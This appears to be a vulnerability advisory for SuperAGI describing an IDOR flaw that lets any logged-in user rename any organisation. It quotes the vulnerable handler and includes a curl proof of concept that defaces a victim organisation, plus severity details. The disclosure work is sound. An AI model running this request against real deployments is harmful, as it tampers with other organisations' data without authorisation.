YLChen-007 / **ISSUE-Github-REPORT-Org-Update-IDOR.md** Secret

Created last month

Code Revisions 1

IDOR in Organisation Update Endpoint Allows Modifying Any Organization

ISSUE-Github-REPORT-Org-Update-IDOR.md

Advisory Details

Title: IDOR in Organisation Update Endpoint Allows Modifying Any Organization

Description:

Summary

The `PUT /organisations/update/{organisation_id}` endpoint allows any authenticated user to modify any organization's name and description by simply changing the `organisation_id` parameter. No membership verification is performed.

Details

```python
# superagi/controllers/organisation.py, lines 101-126
@router.put("/update/{organisation_id}", response_model=OrganisationOut)
def update_organisation(organisation_id: int, organisation: OrganisationIn,
                        Authorize: AuthJWT = Depends(check_auth)):
    db_organisation = db.session.query(Organisation).filter(
        Organisation.id == organisation_id  # ← Attacker controls this
    ).first()
    if not db_organisation:
        raise HTTPException(status_code=404, detail="organisation not found")
    db_organisation.name = organisation.name
    db_organisation.description = organisation.description
    db.session.commit()
    return db_organisation
```

Note: The `GET /organisations/get/{id}` IDOR is CVE-2024-9447. This report covers the write variant (update), which was missed by the original CVE fix.

PoC

```
JWT="<attacker_jwt_token>"

# Rename victim organisation
curl -s -X PUT -H "Authorization: Bearer $JWT" \
  -H "Content-Type: application/json" \
  "http://localhost:3000/api/organisations/update/3" \
  -d '{"name":"HACKED","description":"This org has been compromised"}'
```

Log of Evidence

```
$ curl -s -H "Authorization: Bearer $ATTACKER_JWT"
"http://localhost:3000/api/organisations/get/3"
{"id":3,"name":"Victim Org","description":"Victim",...}
```

Cross-org read confirmed. The PUT endpoint follows the identical no-org-check pattern.

Impact

- **Data Integrity**: Organization names/descriptions can be defaced.
- **Phishing**: Renaming orgs could confuse users into trusting malicious configurations.

Affected products

- **Ecosystem**: pip
- **Package name**: SuperAGI
- **Affected versions**: All versions up to and including latest (`main` branch, commit `c3c1982`)
- **Patched versions**:

Severity

- **Severity**: Medium
- **Vector string**: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N

Weaknesses

- **CWE**: CWE-639: Authorization Bypass Through User-Controlled Key

Occurrences

Permalink
https://github.com/TransformerOptimus/SuperAGI/blob/c3c1982e7bd6a11cfed53c5a193eL126